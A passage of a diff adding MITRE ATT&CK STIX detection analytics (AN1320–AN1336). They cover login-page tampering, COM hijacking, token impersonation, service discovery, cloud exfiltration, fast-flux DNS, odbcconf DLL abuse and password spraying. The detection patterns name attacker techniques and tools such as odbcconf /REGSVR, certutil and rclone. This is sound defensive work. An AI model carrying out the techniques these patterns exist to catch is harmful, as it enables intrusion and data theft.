"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0480#AN1320", + "external_id": "AN1320" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1320", + "description": "Detects unauthorized modifications to login-facing web server files (e.g., index.php, login.js) typically tied to VPN, SSO, or intranet portals. Correlates suspicious file changes with remote access artifacts or web shell behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "write" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "HTTP Request Logging" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredFilePaths", + "description": "Target login-related files (e.g., /var/www/html/login.php) for integrity monitoring" + }, + { + "field": "TimeWindow", + "description": "Tune detection to correlate file edits and web access within a short duration" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4f33b538-1370-4df1-934f-fe3a609453fb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0480#AN1321", + "external_id": "AN1321" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1321", + "description": "Detects tampering of IIS-based login pages (e.g., default.aspx, login.aspx) tied to VPN, OWA, or SharePoint via script injection or unexpected editor processes modifying web roots.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "WinEventLog:iis", + "channel": "IIS Logs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "FilePath", + "description": "Define path to monitored IIS web root (e.g., C:\\inetpub\\wwwroot\\login.aspx)" + }, + { + "field": "ProcessName", + "description": "Exclude legitimate updates (e.g., msdeploy.exe) and alert on suspicious editors (e.g., notepad.exe, certutil.exe)" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--564071d9-44b1-44b8-92c0-348e22e544b7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0480#AN1322", + "external_id": "AN1322" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1322", + "description": "Detects unauthorized changes to locally hosted login pages on macOS (common in developer VPN environments) and links file edits to cron jobs, background scripts, or SUID binaries.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "fs:fsusage", + "channel": "Filesystem Access Logging" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "macos:unifiedlog", + "channel": "subsystem=com.apple.WebKit" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "WebRootPath", + "description": "Specify custom web service directories (e.g., /Library/WebServer/Documents/)" + }, + { + "field": "AnomalousProcess", + "description": "Alert on web root changes from non-web processes or scripts" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--cda93955-7500-49dd-9150-94bedae91d22", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0481#AN1323", + "external_id": "AN1323" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1323", + "description": "Correlate suspicious registry modifications to known COM object CLSIDs with subsequent DLL loads or unexpected binary execution paths. Detect placement of COM CLSID entries under HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\ overriding default HKLM paths. Flag anomalous DLL loads traced back to hijacked COM registry changes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Security", + "channel": "EventCode=4657" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "RegistryPathScope", + "description": "Defenders may tune specific monitored CLSIDs depending on known-good application behavior." + }, + { + "field": "BinaryPathAnomalyThreshold", + "description": "May require tuning based on environment to distinguish rare-but-legit COM DLLs vs suspicious ones." + }, + { + "field": "TimeWindow", + "description": "Correlating registry changes to DLL load or process execution may require configurable time window." + }, + { + "field": "UserContextFilter", + "description": "Tuning detection by isolating activity to specific user SIDs or admin-level activity may reduce false positives." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b76aeebb-3915-48ed-ac35-6af54c88c3bb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0482#AN1324", + "external_id": "AN1324" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1324", + "description": "Detection of token duplication and impersonation attempts by correlating suspicious command-line executions (e.g., runas) with API calls to DuplicateToken, DuplicateTokenEx, ImpersonateLoggedOnUser, or SetThreadToken. The chain includes the initial command execution or in-memory API invocation \u2192 token handle duplication or thread token assignment \u2192 a new or existing process assuming the impersonated user's context.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "ETW:Token", + "channel": "api_call: DuplicateTokenEx, ImpersonateLoggedOnUser, SetThreadToken" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedSystemProcesses", + "description": "Whitelist of known processes that legitimately duplicate tokens (e.g., services.exe)." + }, + { + "field": "TimeWindow", + "description": "Time interval between API call and subsequent impersonated process (e.g., 5m)." + }, + { + "field": "UserContextFilter", + "description": "Filter for service accounts or known administrative accounts that perform legitimate impersonation." + }, + { + "field": "ParentProcessAnomalyThreshold", + "description": "Threshold for parent-child process lineage anomalies indicating token theft." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--475313b7-c26f-44f6-a8f3-09b57f03fcd8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0483#AN1325", + "external_id": "AN1325" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1325", + "description": "Enumeration of services via native CLI tools (e.g., `sc query`, `tasklist /svc`, `net start`) or API calls via PowerShell and WMI.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4104" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ProcessName", + "description": "Can be tuned to specific binaries used for service enumeration (e.g., `sc.exe`, `tasklist.exe`)." + }, + { + "field": "CommandLineMatch", + "description": "Filters for variations like `sc query`, `net start`, `Get-Service`." + }, + { + "field": "ParentProcess", + "description": "Used to suppress known admin scripts or automation jobs." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--20879a60-f16c-4a90-bd71-2c8865c99481", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0483#AN1326", + "external_id": "AN1326" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1326", + "description": "Execution of service management commands like `systemctl list-units`, `service --status-all`, or direct reading of `/etc/init.d`.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:EXECVE", + "channel": "execve" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandPattern", + "description": "Includes service enumeration commands like `systemctl`, `service`, or custom scripts." + }, + { + "field": "ExecutionUser", + "description": "Tunable by user context (e.g., root vs. standard user)." + }, + { + "field": "TimeWindow", + "description": "Used for correlation with privilege escalation or lateral movement." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8f654b08-222f-4fc0-83cc-ab871e290d1e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0483#AN1327", + "external_id": "AN1327" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1327", + "description": "Discovery via launchctl commands, or process enumeration using `ps aux | grep com.apple.` to identify daemons and services.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:osquery", + "channel": "process_events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandLineContent", + "description": "Tune to recognize `launchctl list`, `launchctl print`, or service grep strings." + }, + { + "field": "ProcessParent", + "description": "Filter known benign automation or MDM agent invocations." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d9a1ace1-6307-4db7-925f-67057361e66a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0484#AN1328", + "external_id": "AN1328" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1328", + "description": "Spike in object access from new IAM user or role followed by data exfiltration to external IPs", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--58ef998c-f3bf-4985-b487-b1005f5c05d1", + "name": "AWS:CloudTrail", + "channel": "GetObject" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0", + "name": "AWS:CloudTrail", + "channel": "AssumeRole" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "AWS:VPCFlowLogs", + "channel": "Unusual volume of data transferred from S3 storage endpoints to non-corporate IPs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Timeframe for data transfer correlation (e.g., 10 minutes)" + }, + { + "field": "ExternalIPAllowList", + "description": "Known list of corporate and expected outbound IP addresses" + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8226ce94-1f5b-4ab0-b0bc-92f1d225eaa4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0484#AN1329", + "external_id": "AN1329" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1329", + "description": "OAuth token granted to external app followed by download of high-volume files in OneDrive/Google Drive", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--58ef998c-f3bf-4985-b487-b1005f5c05d1", + "name": "m365:unified", + "channel": "FileAccessed, FileDownloaded, ConsentGranted" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AppRegistrationNamePattern", + "description": "Pattern of suspicious OAuth app names (e.g., `rclone`, `mega`, `backup*`)" + }, + { + "field": "DownloadThresholdMB", + "description": "Flag file downloads over X MB (e.g., >100MB) within short intervals" + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4eca5ae6-797c-41cb-bacd-dc7a6da58fb0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0484#AN1330", + "external_id": "AN1330" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1330", + "description": "Internal user account accesses shared links outside org followed by mass file download", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--58ef998c-f3bf-4985-b487-b1005f5c05d1", + "name": "m365:sharepoint", + "channel": "AnonymousLinkCreated, FileDownloaded" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "azure:signinlogs", + "channel": "SigninSuccess" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "LinkVisibilityScope", + "description": "Whether links allow anonymous/external access" + }, + { + "field": "DownloadBurstThreshold", + "description": "# of files downloaded within <5 mins (e.g., >50 files)" + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7e6e9c0e-737e-43ac-8cdd-5edbff4d6424", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0485#AN1331", + "external_id": "AN1331" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1331", + "description": "Identify repeated DNS resolutions where the same domain name returns multiple IPs in short succession, combined with low TTL values and high query volume from unusual processes. Correlate with process lineage (e.g., Office apps spawning abnormal DNS lookups).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=22" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DNSQueryBurstThreshold", + "description": "Number of unique IPs returned per domain in a short window" + }, + { + "field": "TimeWindow", + "description": "Adjust correlation timeframe for fast flux detection (e.g., 5\u201310 minutes)" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8a226737-e2a7-4b70-8964-98c47444a638", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0485#AN1332", + "external_id": "AN1332" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1332", + "description": "Monitor resolver logs and auditd events for domains resolving to a rotating set of IPs within very short TTL intervals. Correlate high query rates from non-browser applications (e.g., python, curl).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "auditd:SYSCALL", + "channel": "socket/connect" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TTLThreshold", + "description": "Minimum TTL value considered suspicious (e.g., < 60 seconds)" + }, + { + "field": "DomainReputationFeed", + "description": "External TI feed to exclude benign CDN or load balancer behavior" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--22d28e80-ecae-4fa4-8901-ef9125c99e9f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0485#AN1333", + "external_id": "AN1333" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1333", + "description": "Use unified logs to identify processes issuing repeated DNS queries where the resolved IP addresses change frequently within very short TTL values. Correlate with outbound network traffic to validate C2-like patterns.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "macos:unifiedlog", + "channel": "Rapid domain-to-IP resolution changes for same domain" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Unexpected apps generating frequent DNS queries" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DNSRotationRate", + "description": "Rate of IP churn per domain to trigger detection" + }, + { + "field": "NewDomainThreshold", + "description": "Flag if domain was registered recently (e.g., < 30 days)" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f9534b4a-57ef-40a0-801a-d56a217304f0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0485#AN1334", + "external_id": "AN1334" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1334", + "description": "Monitor ESXi syslog and esxcli outputs for abnormal DNS resolver behavior, such as frequent domain-to-IP changes or unauthorized modifications of DNS settings used by management agents. Correlate domain lookups with short TTL values.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "esxi:syslog", + "channel": "Frequent DNS resolution of same domain with rotating IPs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ResolverConfigPaths", + "description": "Whitelist of expected DNS resolvers configured on ESXi" + }, + { + "field": "ExternalDomainWhitelist", + "description": "Known trusted external domains for hypervisor services" + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--6c0a2e08-debd-46e6-bb5f-5159ad8f12ad", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0486#AN1335", + "external_id": "AN1335" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1335", + "description": "Identifies abuse of odbcconf.exe to execute malicious DLLs using the REGSVR command flag. Behavior chain: (1) Process creation of odbcconf.exe with /REGSVR or /A {REGSVR ...} arguments \u2192 (2) DLL load by odbcconf.exe of non-standard or unsigned modules \u2192 (3) Optional follow-on process creation or network activity from loaded DLL.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ParentProcessName", + "description": "List of approved processes that may legitimately invoke odbcconf.exe" + }, + { + "field": "AllowedCommandPatterns", + "description": "Known-good odbcconf.exe arguments in the environment" + }, + { + "field": "TimeWindow", + "description": "Time range for correlating module loads and network activity after odbcconf.exe execution" + }, + { + "field": "ApprovedModuleHashes", + "description": "Baseline of legitimate DLLs loaded by odbcconf.exe" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5ef73ed0-313e-4b9b-b616-8c2d02f4151a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0487#AN1336", + "external_id": "AN1336" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1336", + "description": "A high volume of authentication failures using a single password (or small set) across many different user accounts within a defined time window", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "WinEventLog:Security", + "channel": "EventCode=4625, 4771, 4648" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PasswordReuseThreshold", + "description": "Number of distinct accounts a password is used against before alerting" + }, + { + "field": "TimeWindow", + "description": "Window over which the correlation is measured (e.g., 10 mins)" + }, + { + "field": "TargetGroupFilter", + "description": "Limit detection to sensitive or monitored user groups (e.g., Admins)" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2b751817-3de2-4388-b8b9-d43b5ecda671", + "created_by_ref": 